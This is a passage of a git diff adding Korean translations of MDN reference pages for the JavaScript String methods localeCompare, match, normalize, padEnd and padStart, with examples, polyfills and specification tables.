+ <li><a href="http://developer.teradata.com/blog/jasonstrimpel/2011/11/javascript-string-length-and-internationalizing-web-applications">JavaScript <code>String.length</code> and Internationalizing Web Applications</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/localecompare/index.html b/files/ko/web/javascript/reference/global_objects/string/localecompare/index.html
new file mode 100644
index 0000000000..9bd3b19236
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/localecompare/index.html
@@ -0,0 +1,159 @@
+---
+title: String.prototype.localeCompare()
+slug: Web/JavaScript/Reference/Global_Objects/String/localeCompare
+translation_of: Web/JavaScript/Reference/Global_Objects/String/localeCompare
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>localeCompare()</code></strong> 메서드는 기준 문자열과 비교했을 때 비교 대상 문자열이 정렬상 전에 오는지, 후에 오는지 혹은 같은 순서에 배치되는지를 알려주는 숫자를 리턴합니다.</p>
+
+<p>The new <code>locales</code> and <code>options</code> arguments let applications specify the language whose sort order should be used and customize the behavior of the function. In older implementations, which ignore the <code>locales</code> and <code>options</code> arguments, the locale and sort order used are entirely implementation dependent.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>referenceStr</var>.localeCompare(<var>compareString</var>[, <var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>Check the <a href="#Browser_compatibility">Browser compatibility</a> section to see which browsers support the <code>locales</code> and <code>options</code> arguments, and the <a href="#Checking_for_support_for_locales_and_options_arguments">Checking for support for <code>locales</code> and <code>options</code> arguments</a> for feature detection.</p>
+
+<dl>
+ <dt><code>compareString</code></dt>
+ <dd>The string against which the referring string is compared</dd>
+</dl>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Collator', 'Parameters')}}</div>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A <strong>negative</strong> number if the reference string occurs before the compare string; <strong>positive</strong> if the reference string occurs after the compare string; <strong>0</strong> if they are equivalent.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Returns an integer indicating whether the <strong>referenceStr</strong> comes before, after or is equivalent to the <strong>compareStr</strong>.</p>
+
+<ul>
+ <li>Negative when the <strong>referenceStr</strong> occurs before <strong>compareStr</strong></li>
+ <li>Positive when the <strong>referenceStr</strong> occurs after <strong>compareStr</strong></li>
+ <li>Returns 0 if they are equivalent</li>
+</ul>
+
+<p><strong>DO NOT rely on exact return values of -1 or 1. </strong>Negative and positive integer results vary between browsers (as well as between browser versions) because the W3C specification only mandates negative and positive values. Some browsers may return -2 or 2 or even some other negative or positive value.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_localeCompare()">Using <code>localeCompare()</code></h3>
+
+<pre class="brush: js">// The letter "a" is before "c" yielding a negative value
+'a'.localeCompare('c'); // -2 or -1 (or some other negative value)
+
+// Alphabetically the word "check" comes after "against" yielding a positive value
+'check'.localeCompare('against'); // 2 or 1 (or some other positive value)
+
+// "a" and "a" are equivalent yielding a neutral value of zero
+'a'.localeCompare('a'); // 0
+</pre>
+
+<h3 id="Sort_an_array">Sort an array</h3>
+
+<p><code>localeCompare</code> enables a case-insensitive sort of an array.</p>
+
+<pre class="brush: js">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu'];
+items.sort((a, b) =&gt; a.localeCompare(b)); // ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']
+</pre>
+
+<h3 id="Check_browser_support_for_extended_arguments">Check browser support for extended arguments</h3>
+
+<p>The <code>locales</code> and <code>options</code> arguments are not supported in all browsers yet. To check whether an implementation supports them, use the "i" argument (a requirement that illegal language tags are rejected) and look for a {{jsxref("RangeError")}} exception:</p>
+
+<pre class="brush: js">function localeCompareSupportsLocales() {
+ try {
+ 'foo'.localeCompare('bar', 'i');
+ } catch (e) {
+ return e.name === 'RangeError';
+ }
+ return false;
+}
+</pre>
+
+<h3 id="Using_locales">Using <code>locales</code></h3>
+
+<p>The results provided by <code>localeCompare()</code> vary between languages. In order to get the sort order of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the <code>locales</code> argument:</p>
+
+<pre class="brush: js">console.log('ä'.localeCompare('z', 'de')); // a negative value: in German, ä sorts before z
+console.log('ä'.localeCompare('z', 'sv')); // a positive value: in Swedish, ä sorts after z
+</pre>
+
+<h3 id="Using_options">Using <code>options</code></h3>
+
+<p>The results provided by <code>localeCompare()</code> can be customized using the <code>options</code> argument:</p>
+
+<pre class="brush: js">// in German, ä has a as the base letter
+console.log('ä'.localeCompare('a', 'de', { sensitivity: 'base' })); // 0
+
+// in Swedish, ä and a are separate base letters
+console.log('ä'.localeCompare('a', 'sv', { sensitivity: 'base' })); // a positive value
+</pre>
+
+<h2 id="Performance">Performance</h2>
+
+<p>When comparing large numbers of strings, such as in sorting large arrays, it is better to create an {{jsxref("Global_Objects/Collator", "Intl.Collator")}} object and use the function provided by its {{jsxref("Collator.prototype.compare", "compare")}} property.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.9', 'String.prototype.localeCompare')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 1.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}</td>
+ <td>{{Spec2('ES Int 1.0')}}</td>
+ <td><code>locale</code> and <code>option</code> parameter definitions.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 2.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}</td>
+ <td>{{Spec2('ES Int 2.0')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int Draft', '#sec-String.prototype.localeCompare', 'String.prototype.localeCompare')}}</td>
+ <td>{{Spec2('ES Int Draft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.localeCompare")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/match/index.html b/files/ko/web/javascript/reference/global_objects/string/match/index.html
new file mode 100644
index 0000000000..e1031b8a0e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/match/index.html
@@ -0,0 +1,156 @@
+---
+title: String.prototype.match()
+slug: Web/JavaScript/Reference/Global_Objects/String/match
+translation_of: Web/JavaScript/Reference/Global_Objects/String/match
+---
+<div>{{JSRef}}</div>
+
+<div></div>
+
+<p><strong><code>match()</code></strong> 메서드는 문자열이 정규식과 매치되는 부분을 검색합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>str</var>.match(<var>regexp</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>정규식 개체입니다.  RegExp가 아닌 객체 obj가 전달되면, <code>new RegExp(obj)</code>를 사용하여 암묵적으로 {{jsxref("RegExp")}}로 변환됩니다. 매개변수를 전달하지 않고 match()를 사용하면, 빈 문자열:[""]이 있는 {{jsxref("Array")}}가 반환됩니다.</dd>
+</dl>
+
+<h3 id="결과_값">결과 값</h3>
+
+<p>문자열이 정규식과 일치하면, 일치하는 전체 문자열을 첫 번째 요소로 포함하는 {{jsxref("Array")}}를 반환한 다음 괄호 안에 캡처된 결과가 옵니다. 일치하는 것이 없으면 {{jsxref("null")}}이 반환됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>정규식에 <code>g</code> 플래그가 포함되어있지 않으면, <code>str.match()</code> 는 {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}와 같은 결과를 반환합니다. 반환된 {{jsxref("Array")}}는 원래 문자열의 값을 가지는 <code>input</code> 속성을 포함합니다. 그리고 문자열에서 제로 베이스의 인덱스를 나타내는 <code>index</code> 속성 또한 포함합니다.</p>
+
+<p>정규식에 <code>g</code> 플래그가 포함되어 있으면, 일치는 객체가 아닌 일치하는 하위 문자열을 포함하는 {{jsxref("Array")}}를 반환합니다. 캡처된 그룹은 반환되지 않습니다. 일치하는 것이 없으면 null이 반환됩니다.</p>
+
+<h3 id="이것도_보세요_RegExp_메서드">이것도 보세요: <code>RegExp</code> 메서드</h3>
+
+<ul>
+ <li>문자열이 정규표현식{{jsxref("RegExp")}}과 일치하는지 여부를 알아야할 때, {{jsxref("RegExp.prototype.test()", "RegExp.test()")}}을 이용해보세요.</li>
+ <li>일치하는 것 중 제일 첫번째 것만 알고싶을 때, {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}을 대신에 사용하고 싶을겁니다.</li>
+ <li>캡처 그룹을 알고 싶고 전역 플래그가 셋팅되어 있다면, {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}을 대신에 사용해야합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="match()_사용하기"><code>match()</code> 사용하기</h3>
+
+<p>다음 예제에서는, <code>match()</code>를 사용하여 <code>'Chapter'</code> 라는 단어와 그에 이어지는 1 이상의 숫자, 그리고 그에 이어서 소숫점, 숫자 형태가 반복되는 문자열을 찾는다. 이 정규표현식은 i 플래그를 사용함으로써, 대소문자 구분 없이 찾고자 하는 문자열을 찾는다.</p>
+
+<pre class="brush: js">var str = 'For more information, see Chapter 3.4.5.1';
+var re = /see (chapter \d+(\.\d)*)/i;
+var found = str.match(re);
+
+console.log(found);
+
+// logs [ 'see Chapter 3.4.5.1',
+// 'Chapter 3.4.5.1',
+// '.1',
+// index: 22,
+// input: 'For more information, see Chapter 3.4.5.1' ]
+
+// 'see Chapter 3.4.5.1'는 완전한 매치 상태임.
+// 'Chapter 3.4.5.1'는 '(chapter \d+(\.\d)*)' 부분에 의해 발견된 것임.
+// '.1' 는 '(\.\d)'를 통해 매치된 마지막 값임.
+// 'index' 요소가 (22)라는 것은 0에서부터 셀 때 22번째 위치부터 완전 매치된 문자열이 나타남을 의미함.
+// 'input' 요소는 입력된 원래 문자열을 나타냄.</pre>
+
+<h3 id="match()와_함께_글로벌(g)_및_대소문자_무시(i)_플래그_사용하기"><code>match()</code>와 함께 글로벌(g) 및 대/소문자 무시(i) 플래그 사용하기</h3>
+
+<p>다음 예제는 글로벌(g) 및 대/소문자 무시(i) 플래그를 사용하여  <code>match()</code>를 사용하는 방법을 보여준다. A부터 E 까지의 모든 문자와 a부터 e 까지의 모든 문자가 배열의 각 원소를 구성하는 형태로 반환된다.</p>
+
+<pre class="brush: js">var str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
+var regexp = /[A-E]/gi;
+var matches_array = str.match(regexp);
+
+console.log(matches_array);
+// ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']
+</pre>
+
+<h3 id="매개변수_없이_match()_사용하기">매개변수 없이 <code>match()</code> 사용하기</h3>
+
+<pre class="brush: js">var str = "Nothing will come of nothing.";
+
+str.match(); // returns [""]</pre>
+
+<h3 id="정규표현식이_아닌_객체를_매개변수로_사용하기">정규표현식이 아닌 객체를 매개변수로 사용하기</h3>
+
+<p>매개변수가 문자열이나 숫자(Number)이면, 해당 매개변수는 내부적으로 new RegExp(obj)를 사용하여 {{jsxref("RegExp")}}로 변환된다. 만약 매개변수가 플러스 기호와 이어지는 숫자형이라면, RegExp() 매서드는 플러스 기호를 무시한다. </p>
+
+<pre class="brush: js">var str1 = "NaN means not a number. Infinity contains -Infinity and +Infinity in JavaScript.",
+ str2 = "My grandfather is 65 years old and My grandmother is 63 years old.",
+ str3 = "The contract was declared null and void.";
+str1.match("number");   // "number"는 문자열임. ["number"]를 반환함.
+str1.match(NaN);   // NaN 타입은 숫자형임. ["NaN"]을 반환함.
+str1.match(Infinity);   // Infinity 타입은 숫자형임. ["Infinity"]를 반환함.
+str1.match(+Infinity);  // ["Infinity"]를 반환함.
+str1.match(-Infinity);  // ["-Infinity"]를 반환함.
+str2.match(65);   // ["65"]를 반환함
+str2.match(+65);   // 플러스 기호가 붙은 숫자형. ["65"]를 반환함.
+str3.match(null);   // ["null"]을 반환함.</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.10', 'String.prototype.match')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.match', 'String.prototype.match')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.match', 'String.prototype.match')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터를 기반으로 작성하였습니다. 데이터를 제공하고 싶으시다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 체크하시고, 풀 리퀘스트를 보내주시기 바랍니다.</p>
+
+<p>{{Compat("javascript.builtins.String.match")}}</p>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+</ul>
+
+<ul>
+ <li><code>flags</code> was a non standard second argument only available in Gecko : <var>str</var>.match(<var>regexp, flags</var>)</li>
+ <li>Starting with Gecko 27 {{geckoRelease(27)}}, this method has been adjusted to conform with the ECMAScript specification. When <code>match()</code> is called with a global regular expression, the {{jsxref("RegExp.lastIndex")}} property (if specified) will be reset to <code>0</code> ({{bug(501739)}}).</li>
+ <li>Starting with Gecko 39 {{geckoRelease(39)}}, the non-standard <code>flags</code> argument is deprecated and throws a console warning ({{bug(1142351)}}).</li>
+ <li>Starting with Gecko 47 {{geckoRelease(47)}}, the non-standard <code>flags</code> argument is no longer supported in non-release builds and will soon be removed entirely ({{bug(1245801)}}).</li>
+ <li>Starting with Gecko 49 {{geckoRelease(49)}}, the non-standard <code>flags</code> argument is no longer supported ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/normalize/index.html b/files/ko/web/javascript/reference/global_objects/string/normalize/index.html
new file mode 100644
index 0000000000..d44f9bec99
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/normalize/index.html
@@ -0,0 +1,163 @@
+---
+title: String.prototype.normalize()
+slug: Web/JavaScript/Reference/Global_Objects/String/normalize
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+ - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/normalize
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>normalize()</code></strong> 메서드는 주어진 문자열을 유니코드 정규화 방식(Unicode Normalization Form)에 따라 정규화된 형태로 반환합니다. 만약 주어진 값이 문자열이 아닐 경우에는 우선 문자열로 변환 후 정규화합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-normalize.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.normalize([<var>form</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>form</code></dt>
+ <dd>유니코드 정규화 방식을 지정합니다. <code>"NFC"</code>, <code>"NFD"</code>, <code>"NFKC"</code>, <code>"NFKD"</code> 중 하나이며, 생략되거나 {{jsxref("undefined")}} 일 경우 <code>"NFC"</code>가 사용됩니다.
+ <ul>
+ <li><code>NFC</code> — 정규형 정준 결합(Normalization Form Canonical Composition).</li>
+ <li><code>NFD</code> — 정규형 정준 분해(Normalization Form Canonical Decomposition).</li>
+ <li><code>NFKC</code> — 정규형 호환성 결합(Normalization Form Compatibility Composition).</li>
+ <li><code>NFKD</code> — 정규형 호환성 분해(Normalization Form Compatibility Decomposition).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 문자열을 유니코드 정규화 방식에 따라 정규화된 문자열로 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd><code>form</code>이 위에서 명시된 값 중 하나가 아닐 경우 {{jsxref("RangeError")}} 에러가 발생합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>normalize()</code> 메서드는 문자열을 유니코드 정규화 방식에 따라 정규화된 형태로 반환합니다. 문자열의 값 자체에는 영향을 주지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="normalize()_사용하기"><code>normalize()</code> 사용하기</h3>
+
+<pre class="brush: js">// 원본 문자열
+
+// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+// U+0323: COMBINING DOT BELOW
+var str = '\u1E9B\u0323';
+
+
+// 정규형 정준 결합 (NFC)
+
+// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+// U+0323: COMBINING DOT BELOW
+str.normalize('NFC'); // '\u1E9B\u0323'
+str.normalize(); // 위와 같은 결과
+
+
+// 정규형 정준 분해 (NFD)
+
+// U+017F: LATIN SMALL LETTER LONG S
+// U+0323: COMBINING DOT BELOW
+// U+0307: COMBINING DOT ABOVE
+str.normalize('NFD'); // '\u017F\u0323\u0307'
+
+
+// 정규형 호환성 결합 (NFKC)
+
+// U+1E69: LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
+str.normalize('NFKC'); // '\u1E69'
+
+
+// 정규형 호환성 분해 (NFKD)
+
+// U+0073: LATIN SMALL LETTER S
+// U+0323: COMBINING DOT BELOW
+// U+0307: COMBINING DOT ABOVE
+str.normalize('NFKD'); // '\u0073\u0323\u0307'
+</pre>
+
+<h3 id="한글에_normalize()_사용하기">한글에 <code>normalize()</code> 사용하기</h3>
+
+<pre class="brush: js">// 결합된 한글 문자열
+
+// U+D55C: 한(HANGUL SYLLABLE HAN)
+// U+AE00: 글(HANGUL SYLLABLE GEUL)
+var first = '\uD55C\uAE00';
+
+
+// 정규형 정준 분해 (NFD)
+// 정준 분해 결과 초성, 중성, 종성의 자소분리가 일어납니다.
+// 일부 브라우저에서는 결과값 '한글'이 자소분리된 상태로 보여질 수 있습니다.
+
+// U+1112: ᄒ(HANGUL CHOSEONG HIEUH)
+// U+1161: ᅡ(HANGUL JUNGSEONG A)
+// U+11AB: ᆫ(HANGUL JONGSEONG NIEUN)
+// U+1100: ᄀ(HANGUL CHOSEONG KIYEOK)
+// U+1173: ᅳ(HANGUL JUNGSEONG EU)
+// U+11AF: ᆯ(HANGUL JONGSEONG RIEUL)
+var second = first.normalize('NFD'); // '\u1112\u1161\u11AB\u1100\u1173\u11AF'
+
+
+// 정규형 정준 결합 (NFC)
+// 정준 결합 결과 자소분리 되었던 한글이 결합됩니다.
+
+// U+D55C: 한(HANGUL SYLLABLE HAN)
+// U+AE00: 글(HANGUL SYLLABLE GEUL)
+var third = second.normalize('NFC'); // '\uD55C\uAE00'
+
+
+console.log(second === third); // 같은 글자처럼 보이지만 false를 출력합니다.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.normalize")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://www.unicode.org/reports/tr15/">Unicode Standard Annex #15, Unicode Normalization Forms</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Unicode_equivalence">Unicode equivalence</a></li>
+ <li><a href="https://ko.wikipedia.org/wiki/%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C_%EC%A0%95%EA%B7%9C%ED%99%94">유니코드 정규화</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/padend/index.html b/files/ko/web/javascript/reference/global_objects/string/padend/index.html
new file mode 100644
index 0000000000..1c027c1363
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/padend/index.html
@@ -0,0 +1,99 @@
+---
+title: String.prototype.padEnd()
+slug: Web/JavaScript/Reference/Global_Objects/String/padEnd
+tags:
+ - JavaScript
+ - Method
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>padEnd()</code></strong> 메서드는 현재 문자열에 다른 문자열을 채워, 주어진 길이를 만족하는 새로운 문자열을 반환합니다. 채워넣기는 대상 문자열의 끝(우측)부터 적용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-padend.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.padEnd(<var>targetLength</var> [, <var>padString</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>targetLength</code></dt>
+ <dd>목표 문자열 길이. 현재 문자열의 길이보다 작다면 채워넣지 않고 그대로 반환.</dd>
+ <dt><code>padString</code> {{optional_inline}}</dt>
+ <dd>현재 문자열에 채워넣을 다른 문자열. 문자열이 너무 길어 목표 문자열 길이를 초과한다면 좌측 일부를 잘라서 넣음. 기본값은 " ". (U+0020)</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>끝부터 주어진 문자열로 채워 목표 길이를 만족하는 {{jsxref("String")}}</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">'abc'.padEnd(10); // "abc       "
+'abc'.padEnd(10, "foo"); // "abcfoofoof"
+'abc'.padEnd(6, "123456"); // "abc123"
+'abc'.padEnd(1); // "abc"</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 플랫폼에서도 <code>String.prototype.padStart()</code> 메서드를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// https://github.com/uxitten/polyfill/blob/master/string.polyfill.js
+// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padEnd
+if (!String.prototype.padEnd) {
+    String.prototype.padEnd = function padEnd(targetLength,padString) {
+        targetLength = targetLength&gt;&gt;0; //floor if number or convert non-number to 0;
+ padString = String((typeof padString !== 'undefined' ? padString : ' '));
+        if (this.length &gt; targetLength) {
+            return String(this);
+        }
+        else {
+            targetLength = targetLength-this.length;
+            if (targetLength &gt; padString.length) {
+                padString += padString.repeat(targetLength/padString.length); //append to original to ensure we are longer than needed
+            }
+            return String(this) + padString.slice(0,targetLength);
+        }
+    };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Initial definition in ECMAScript 2017.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES8', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}</td>
+ <td>{{Spec2('ES8')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.padEnd")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.padStart()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/padstart/index.html b/files/ko/web/javascript/reference/global_objects/string/padstart/index.html
new file mode 100644
index 0000000000..eff03dd4ac
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/padstart/index.html
@@ -0,0 +1,104 @@
+---
+title: String.prototype.padStart()
+slug: Web/JavaScript/Reference/Global_Objects/String/padStart
+tags:
+ - JavaScript
+ - Method
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padStart
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>padStart()</code></strong> 메서드는 현재 문자열의 시작을 다른 문자열로 채워, 주어진 길이를 만족하는 새로운 문자열을 반환합니다. 채워넣기는 대상 문자열의 시작(좌측)부터 적용됩니다.</p>
+
+<p> </p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-padstart.html")}}</div>
+
+
+
+<p> </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.padStart(<var>targetLength</var> [, <var>padString</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>targetLength</code></dt>
+ <dd>목표 문자열 길이. 현재 문자열의 길이보다 작다면 채워넣지 않고 그대로 반환.</dd>
+ <dt><code>padString</code> {{optional_inline}}</dt>
+ <dd>현재 문자열에 채워넣을 다른 문자열. 문자열이 너무 길어 목표 문자열 길이를 초과한다면 좌측 일부를 잘라서 넣음. 기본값은 " ". (U+0020)</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>시작점부터 주어진 문자열로 채워 목표 길이를 만족하는 {{jsxref("String")}}.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">'abc'.padStart(10); // "       abc"
+'abc'.padStart(10, "foo"); // "foofoofabc"
+'abc'.padStart(6,"123465"); // "123abc"
+'abc'.padStart(8, "0"); // "00000abc"
+'abc'.padStart(1); // "abc"</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 플랫폼에서도 <code>String.prototype.padStart()</code> 메서드를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// https://github.com/uxitten/polyfill/blob/master/string.polyfill.js
+// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padStart
+if (!String.prototype.padStart) {
+    String.prototype.padStart = function padStart(targetLength,padString) {
+        targetLength = targetLength&gt;&gt;0; //truncate if number or convert non-number to 0;
+ padString = String((typeof padString !== 'undefined' ? padString : ' '));
+        if (this.length &gt; targetLength) {
+            return String(this);
+        }
+        else {
+            targetLength = targetLength-this.length;
+            if (targetLength &gt; padString.length) {
+                padString += padString.repeat(targetLength/padString.length); //append to original to ensure we are longer than needed
+            }
+            return padString.slice(0,targetLength) + String(this);
+        }
+    };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Initial definition in ECMAScript 2017.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES8', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}</td>
+ <td>{{Spec2('ES8')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
